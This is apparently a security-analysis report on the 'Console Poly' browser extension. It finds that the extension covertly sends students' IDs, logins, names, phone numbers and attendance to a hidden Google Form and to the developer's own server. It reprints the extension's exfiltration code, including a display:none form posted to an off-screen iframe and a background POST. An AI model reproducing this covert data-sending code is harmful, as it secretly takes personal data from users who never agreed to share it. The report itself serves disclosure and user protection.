Is Console Poly safe?
Console Poly sends the class roster and attendance record to a Google Form and its own server on every attendance submission.
When a teacher submits attendance on the school's own portal (gv.poly.edu.vn), the extension re-fetches the entire class roster, including student codes, logins, full names, phone numbers, and per-session attendance for up to 17 sessions. It then auto-submits this data into a hidden Google Form and separately posts it to console.poly.io.vn, an API run by the extension's own developer, both through invisible background requests with no confirmation shown to the teacher.
Who publishes itThầy CườngPN11 - no other listings under this identity, 3 shared hostnames
Thầy CườngPN11 - no other listings under this identity, 3 shared hostnames
What this publisher told the store about itself, and the other listings that told it the same thing.
Shared hosts - 3 hostnames
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Console Poly sends the full class roster to two undisclosed servers
Code analysis shows attendance submission on gv.poly.edu.vn makes the extension re-fetch the class roster and send student names and phone numbers to a personal Google Form and the developer's own server, neither disclosed in the UI.
A teacher submits the attendance form for a class on the school's own portal, gv.poly.edu.vn.
The extension re-fetches the class's full roster and attendance record, then sends it to two destinations it never discloses.
Code analysis shows this runs automatically on the next page load, with no confirmation shown to the teacher.
| Field | Value | Why it matters | |
|---|---|---|---|
Student ID code | PS12345 | Uniquely identifies the student in the school's own systems. | |
Login username | nguyenvana | The student's portal login handle. | |
Full name | Nguyen Van A | The student's full name. | |
Phone number | 0912345678 | The student's personal phone number. | |
Per-session attendance | P,P,A,P,P,-,P | Present or absent status for up to 17 class sessions. |
Flag set on the school form's submit event, read on the next page load to trigger the send
if (localStorage.getItem("needSendAttendance") == "true") {
// Fires on the page load right after an attendance submission.
getUser(sendAttendance);
localStorage.setItem("needSendAttendance", "false");
}
document.querySelector("form").addEventListener("submit", function () {
// The school's own attendance form. No form field or logic here
// discloses that this flag drives a later network send.
localStorage.setItem("needSendAttendance", "true");
}); function sendAttendance() {
// Re-fetches the FULL class roster + per-session attendance, not just
// the one row the teacher just changed.
httpGetAsync(
`https://gv.poly.edu.vn/teacher/group/get_attendance_by_group_id/${
document.querySelector('[name="group_id"]').value
}?campus_code=${localStorage.getItem("campus_id") || "ps"}`,
async function (res) {
var data = JSON.parse(res);
data = data.data;
// console.log(data);
var AP = { "-1": "-", 0: "A", 1: "P", 2: "p" };
var sv = "";
for (var item of data.members) {
sv += `${item.user_code},${item.member_login},${item.fullname},${item.user.user_telephone}`;
for (var i = 1; i <= 17; i++) {
sv += `,${AP[item.attendance[i]]}`;
}
sv += "|";
}
sv = sv.slice(0, -1);
// Builds a display:none form targeting an off-screen iframe ("basket"),
// so the POST and its response are never visible to the teacher.
if (document.querySelectorAll("#formAttendance").length == 0) {
document.querySelector("#kt_footer").insertAdjacentHTML(
"afterend",
`
<form id="formAttendance" style="display:none" action="https://docs.google.com/forms/u/0/d/e/1FAIpQLSdQOXfamcatySK0skO0bh1Vv0WpkxTLMrFkmG0Lc1ANK4uv6w/formResponse" method="POST" target="basket">
<input type="text" name="entry.815697730" id="entry.815697730" value="${getUrlSearch(
"class_name",
)}">
<input type="text" name="entry.1499380568" id="entry.1499380568" value="${getUrlSearch(
"subject_code",
)}">
<input type="text" name="entry.1418286398" id="entry.1418286398" value="${
user.code
}">
<input type="text" name="entry.2042509915" id="entry.2042509915" value="${
user.fullname
}">
<input type="text" name="entry.1419492371" id="entry.1419492371" value="${sv}">
<input type="hidden" name="pageHistory" value="0">
<button type="submit">Gửi</button>
</form>
<iframe id="basket" name="basket" style="display:none"></iframe>
`,
);
document.querySelector("#formAttendance").submit();
}
let resData = await fetch(`${APIurl}/token`, {
headers: {
accept: "*/*",
"sec-fetch-dest": "empty",
"sec-fetch-mode": "cors",
"sec-fetch-site": "cross-site",
},
referrerPolicy: "strict-origin-when-cross-origin",
method: "GET",
mode: "cors",
credentials: "omit",
}).then((res) => res.json());
data.members = data.members.map((sv) => {
return {
id: sv.user_code,
fullname: sv.fullname,
attendance: sv.attendance,
absent: sv.absent,
absent_percent: sv.absent_percent,
total_session: sv.total_session,
};
});
// data = {data: data};
let class_id = document.querySelector('[name="group_id"]').value;
let body = {
id: class_id,
campus: localStorage.getItem("campus_id") || "ps",
teacher: getUser().code,
data: data,
};
if (getUrlSearch("class_name"))
body["name"] = getUrlSearch("class_name");
if (getUrlSearch("subject_code"))
body["subject"] = getUrlSearch("subject_code");
if (getUrlSearch("subject_name"))
body["subject_name"] = decodeURIComponent(
getUrlSearch("subject_name"),
);
// Second, parallel destination: the developer's own API
// (APIurl = https://console.poly.io.vn/api), independent of the
// Google Form above.
fetch(`${APIurl}/attendance/${class_id}/save`, {
headers: {
accept: "application/json",
"sec-fetch-mode": "cors",
"sec-fetch-site": "cross-site",
"x-csrf-token": resData.token,
},
referrerPolicy: "strict-origin-when-cross-origin",
body: JSON.stringify(body),
method: "POST",
});
console.log(data);
},
);
}- docs.google.com
Receives the full roster through an auto-submitted, unbranded personal Google Form; the response target is an off-screen iframe so no confirmation is ever shown.
- console.poly.io.vn
The extension developer's own API (manifest id console-poly@cuongpham.vn); receives the same roster in a second, parallel request.
Parses the pipe-and-comma-delimited roster string the extension builds client-side into a readable per-student table.
// decode_attendance_payload.js
// Reconstructs the readable table the extension builds in memory before
// sending it, from the pipe-delimited "sv" string format used in
// content.js's sendAttendance().
//
// Row format per student, comma-delimited:
// user_code,member_login,fullname,user_telephone,<A/P per session x17>
// Rows are joined with "|".
const AP = { "-1": "-", "0": "A", "1": "P", "2": "p" };
function decodeRoster(sv) {
return sv.split("|").filter(Boolean).map((row) => {
const parts = row.split(",");
const [user_code, member_login, fullname, user_telephone, ...sessions] = parts;
return { user_code, member_login, fullname, user_telephone, sessions };
});
}
// Example (illustrative, not a captured payload):
const example = "PS12345,nguyenvana,Nguyen Van A,0912345678,P,P,A,P,P,-,P";
console.log(decodeRoster(example));
- 1Save this file.
- 2Run `node decode_attendance_payload.js`.
- 3Substitute a real 'sv' string to inspect any captured payload.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
Where it sends data
Destinations our analysis observed Console Poly contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- console.poly.io.vn
Console Poly sends data to console.poly.io.vn. No other extension we have analysed sends data here.
- docs.google.com (Google Forms)
Console Poly sends data to docs.google.com (Google Forms). Named as a recipient in this extension's own analysis.